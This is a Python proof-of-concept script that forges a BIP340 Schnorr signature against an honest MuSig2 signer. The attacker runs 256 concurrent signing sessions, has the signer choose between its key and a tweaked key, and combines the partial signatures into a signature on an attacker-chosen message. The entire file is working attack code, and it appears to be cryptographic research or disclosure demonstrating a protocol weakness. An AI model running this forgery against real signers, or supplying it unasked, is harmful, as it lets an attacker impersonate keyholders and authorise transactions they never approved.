Breaking MuSig2 with tweaking

musig2_tweak_attack.py

import secrets

from reference import *

k_max = 256

def blank_array():
    return [None for k in range(k_max)]

# Simulates an honest MuSig2 signer. An adversary can ask the
# honest signer to sign messages using one of {x, x + t} where
# x is the honest signer's secret key and t is some known tweak.
class Signer:
    def __init__(self, sk, tweak):
        x = int_from_bytes(sk)
        self.seckeys = [sk, bytes_from_int((x + tweak) % n)]
        self.pubkeys = [plain_pk_gen(self.seckeys[i]) for i in range(2)]
        self.nonces = {}

    def round1(self, k):
        secnonce, pubnonce = nonce_gen(sk=None, aggpk=None, msg=None, extra_in=None)
        self.nonces[k] = (secnonce, pubnonce)
        return pubnonce

    def round2(self, k, session_ctx, i):
        secnonce, _ = self.nonces[k]
        return int_from_bytes(sign(secnonce, self.seckeys[i], session_ctx))

if __name__ == '__main__':
    # Keep regenerating the key and tweak until all of the following keys
    # have even y coordinate:
    #     - X
    #     - X + t * G
    #     - KeyAgg([X, X + t * G])
    # where X is the honest signer's public key and t is the tweak.
    while True:
        tweak = int_from_bytes(secrets.token_bytes(32))
        sk = secrets.token_bytes(32)
        honest_signer = Signer(sk, tweak)
        pubkeys = [honest_signer.pubkeys[0], honest_signer.pubkeys[1]]
        if pubkeys[0][0] == 2 and pubkeys[1][0] == 2:
            keygen_ctx = key_agg_and_tweak(pubkeys, [], [])
            Q, _, _ = keygen_ctx
            if has_even_y(Q):
                aggpk = get_xonly_pk(keygen_ctx)
                break
    print('successfully generated keys with even y')

    # In general, _star variables will be used in the forgery.
    msg      = b'this is the honest message......'
    msg_star = b'this is the adversarial message!'

    a0 = blank_array()
    a1 = blank_array()
    for k in range(k_max):
        a0[k] = key_agg_coeff(pubkeys, pubkeys[0])
        a1[k] = key_agg_coeff(pubkeys, pubkeys[1])

    session_contexts = blank_array()
    c = [blank_array() for i in range(2)]
    b = blank_array()
    e = blank_array()
    for k in range(k_max):
        print('get_session_values', k)
        # Keep regenerating the aggnonce until the resulting R value has
        # even y coordinate.
        while True:
            _, aggnonce = nonce_gen(sk=None, aggpk=None, msg=None, extra_in=None)
            session_contexts[k] = SessionContext(aggnonce, pubkeys, [], [], msg)
            _, _, _, b_k, R_k, e_k = get_session_values(session_contexts[k])
            if has_even_y(R_k):
                break

        # The partial signature s_k for the k-th session will be of the
        # following form, depending on whether the adversary requested
        # a signature with the tweaked secret key in that session:
        #
        #     s_k = r_k + e_k * a0[k] * x
        #     s_k = r_k + e_k * a1[k] * (x + t)
        #
        # Where:
        #
        #     - r_k is the secret nonce (r_1_1_k + r_1_2_k * b_k)
        #     - e_k is the challenge hash
        #     - ai[k] is the key agg coefficient
        #     - x is the honest signer's secret key
        #     - t is the tweak
        c[0][k] = e_k * a0[k]
        c[1][k] = e_k * a1[k]
        b[k] = b_k
        e[k] = e_k

    # The forgery will be a linear combination of k_max different
    # (possibly modified, see below) partial signatures obtained
    # from the honest signer.
    #
    # alpha[k] is the coefficient of the k-th partial signature.
    alpha = blank_array()
    for k in range(k_max):
        alpha[k] = pow(2, k, n) * pow(c[1][k] - c[0][k], n - 2, n) % n

    # Keep regenerating R_star (the public nonce for the forgery)
    # until it has even y coordinate.
    #
    # Note that regenerating R_star requires starting k_max new
    # concurrent signing sessions and asking the honest signer
    # to generate a new set of nonces.
    while True:
        # Start concurrent signing sessions.
        pubnonces = blank_array()
        for k in range(k_max):
            print('nonce_gen', k)
            pubnonces[k] = honest_signer.round1(k)

        # Calculate R_star for the given set of nonces.
        R_star = infinity
        for k in range(k_max):
            print('R_star', k)
            R_1 = cpoint_ext(pubnonces[k][0:33])
            R_2 = cpoint_ext(pubnonces[k][33:66])
            R = point_add(R_1, point_mul(R_2, b[k]))
            assert not is_infinite(R)
            R_star = point_add(R_star, point_mul(R, alpha[k]))
        if has_even_y(R_star):
            break
        print('R_star has odd y, trying again')
    print('successfully generated R_star with even y')

    # e_star is the challenge hash for the forgery.
    e_star = int_from_bytes(tagged_hash('BIP0340/challenge', xbytes(R_star) + pubkeys[0][1:] + msg_star)) % n

    # The k-th bit of target determines whether or not the adversary
    # should request (from the honest signer) a signature using the
    # tweaked secret key in the k-th session.
    target = e_star
    for k in range(k_max):
        target -= c[0][k] * pow(2, k, n) * pow(c[1][k] - c[0][k], n - 2, n) % n
        target %= n
    i_choice = blank_array()
    for k in range(k_max):
        if (target & (1 << k)) == 0:
            i_choice[k] = 0
        else:
            i_choice[k] = 1

    # Verify that alpha linear combination of challenge hashes for honest messages
    # equals the challenge hash for the forgery.
    e_check = 0
    for k in range(k_max):
        e_check += alpha[k] * c[i_choice[k]][k] % n
        e_check %= n
    assert e_check == e_star

    # Request partial signatures for each concurrent session
    # from the honest signer.
    s_hat = blank_array()
    for k in range(k_max):
        print('sign', k)
        s_k = honest_signer.round2(k, session_contexts[k], i_choice[k])
        # Recall that a partial signature might have the following form if
        # the adversary asked for a signature using the tweaked secret key:
        #
        #     s_k = r_k + e_k * a1[k] * (x + t)
        #
        # In this case, we need to modify the partial signature by
        # subtracting off the part involving t.
        if i_choice[k] == 1:
            s_k -= e[k] * a1[k] * tweak % n
            s_k %= n
        s_hat[k] = s_k

    # Calculate the final forged signature as the alpha linear combination
    # of the (modified) partial signatures.
    s_star = 0
    for k in range(k_max):
        s_star += alpha[k] * s_hat[k] % n
        s_star %= n
    sig = xbytes(R_star) + bytes_from_int(s_star)

    # The forged signature should verify as a regular (non multisig)
    # Schnorr signature for the honest signer's public key and the
    # (arbitrary) message chosen by the adversary.
    assert schnorr_verify(msg_star, pubkeys[0][1:], sig)
    print('successful forgery!')